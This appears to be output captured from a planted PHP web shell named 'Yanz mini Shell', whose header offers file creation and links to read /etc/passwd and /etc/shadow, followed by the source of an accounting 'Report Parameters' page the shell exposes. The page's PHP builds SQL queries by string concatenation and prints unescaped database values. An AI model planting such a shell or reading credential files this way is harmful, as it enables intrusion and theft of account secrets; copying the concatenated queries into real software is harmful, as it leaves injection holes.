Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
$path="admin/orna/";
require_once('admin/orna/db.php');
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

<title>Report Parameters</title>
    <script src="assets/js/now.js"></script>
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/orna.css" rel="stylesheet">
    
    <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" />
        
    
    <link href="assets/css/style.css" rel="stylesheet">
    <link href="assets/css/style-responsive.css" rel="stylesheet">
    <link href="assets/js/bootstrap-multiselect/bootstrap-multiselect.min.css" rel="stylesheet">
    
    
  </head>

<body>

<section id="container" >
      
      <?php require_once('inc-core/header.inc')?>
      
  
      
      <?php require_once('inc-core/side-bar.inc');?>
      
      
  
      
      <section id="main-content">
        <section class="wrapper site-min-height">

<div id="title">
<div class="row">  
  <div class="col-sm-12">
<h1>Report Parameters</h1>
<p>Please select date range</p>
  </div>
</div>
</div>

<div class="col-sm-3">
    From:
    <input type="date" class="form-control" placeholder="From" name="from" required>
</div>
  
 
<div class="col-sm-3">
    To:
    <input type="date" class="form-control"  value="<?php echo date('Y-m-d'); ?>" name="till" required>
</div>
<div class="col-sm-3">
    Expenditure:
    <select id="seperate_accs" multiple="multiple" name="seperate_accs[]" required>
    <?php
      $type_sql="select title,acc_nm_mh from `".$MySQL_database."`.acc_main_head";
      $type_query=mysqli_query($connection,$type_sql);
        while($type=mysqli_fetch_assoc($type_query)){
            $sql_main="select acc_nm_h,title from `".$MySQL_database."`.acc_head where acc_nm_mh='".$type['acc_nm_mh']."' order by sort asc";
            $query=mysqli_query($connection,$sql_main);
            while($aof=mysqli_fetch_assoc($query)){
                $s_sql="select title,acc_nm_s from `".$MySQL_database."`.acc_sub where acc_nm_h='".$aof['acc_nm_h']."' order by sort asc";
                $s_sql_query=mysqli_query($connection,$s_sql);
                while($sub_title=mysqli_fetch_assoc($s_sql_query)){
                    $mast_sql="select title,opbal,acc_nm from `".$MySQL_database."`.acc_mast where acc_nm_s='".$sub_title['acc_nm_s']."' order by sort asc";
                    $mast_sql_query=mysqli_query($connection,$mast_sql);
                    $row_counter=mysqli_num_rows($mast_sql_query);
                    if($row_counter>0){
                      print"
                      <optgroup label=\"".ucwords(strtolower($sub_title['title']))."\" class=\"select_main_group\">";
                      while($mast_title=mysqli_fetch_assoc($mast_sql_query)){
                        if($mast_title['title']!=""){
                          print"<option value=\"".$mast_title['acc_nm']."\">".ucwords(strtolower($mast_title['title']))."</option>";
                        }                        
                      }
                      print"</optgroup>";
                    }                    
                }
            }  
        }    
    ?>
</select>
</div>
<div class="col-sm-3">
    Balance Receivables:
    <select id="payable_accs" multiple="multiple" name="payable_accs[]" required>
    <?php
      $main_acc_sql="select title,acc_nm_mh from `".$MySQL_database."`.acc_main_head where acc_nm_mh='0002'";
      $main_acc_query=mysqli_query($connection,$main_acc_sql);
        while($main_acc=mysqli_fetch_assoc($main_acc_query)){
            $sql_main="select acc_nm_h,title from `".$MySQL_database."`.acc_head where acc_nm_mh='".$main_acc['acc_nm_mh']."' order by sort asc";
            $query=mysqli_query($connection,$sql_main);
            while($aof=mysqli_fetch_assoc($query)){
                $s_sql="select title,acc_nm_s from `".$MySQL_database."`.acc_sub where acc_nm_h='".$aof['acc_nm_h']."' order by sort asc";
                $s_sql_query=mysqli_query($connection,$s_sql);
                while($sub_title=mysqli_fetch_assoc($s_sql_query)){                   
                    $mast_sql="select title,opbal,acc_nm from `".$MySQL_database."`.acc_mast where acc_nm_s='".$sub_title['acc_nm_s']."' order by sort asc";
                    $mast_sql_query=mysqli_query($connection,$mast_sql);
                    $row_counter=mysqli_num_rows($mast_sql_query);
                    if($row_counter>0){
                      print"
                      <optgroup label=\"".ucwords(strtolower($sub_title['title']))."\" class=\"select_main_group\">";
                      while($mast_title=mysqli_fetch_assoc($mast_sql_query)){
                        if($mast_title['title']!=""){
                          print"<option value=\"".$mast_title['acc_nm']."\">".ucwords(strtolower($mast_title['title']))."</option>";
                        }                        
                      }
                      print"</optgroup>";
                    } 
                }
            }  
        }    
    ?>
</select>
</div>
 
<div class="row">
 
</div>
</div>

<div id="footer">
<div class="row left">
  
  <div class="col-sm-12 center">
  <button type="submit" class="btn btn-theme" value="print" name="submit" >Print Report</button>
<button type="submit" class="btn btn-success " id="excell" value="true" name="excel" >Export to Excel</button>
<button type="clear" class="btn btn-default">Clear</button>
  </div>
</div>
</div>
</form>

</section>
      </section>
      
  
  
        <?php require_once('inc-core/footer.inc')?>
  </section>

<script src="assets/js/jquery.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>    
    <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script>
    <script src="assets/js/jquery.ui.touch-punch.min.js"></script>
    <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script>
    <script src="assets/js/jquery.scrollTo.min.js"></script>
    <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script>
    
    <script src="assets/js/common-scripts.js"></script>    
    <script src="assets/js/bootstrap-multiselect/bootstrap-multiselect.min.js"></script>
    
    <script type="text/javascript">
    $(document).ready(function() {
        $('#seperate_accs').multiselect({
            enableClickableOptGroups: true,
            enableCollapsibleOptGroups: true,
            enableFiltering: true,
            enableCaseInsensitiveFiltering: true,
            includeSelectAllOption: true,
            maxHeight: 300
        });
        $('#payable_accs').multiselect({
            enableClickableOptGroups: true,
            enableCollapsibleOptGroups: true,
            enableFiltering: true,
            enableCaseInsensitiveFiltering: true,
            includeSelectAllOption: true,
            maxHeight: 300
        });
    });
</script>
  </body>
</html>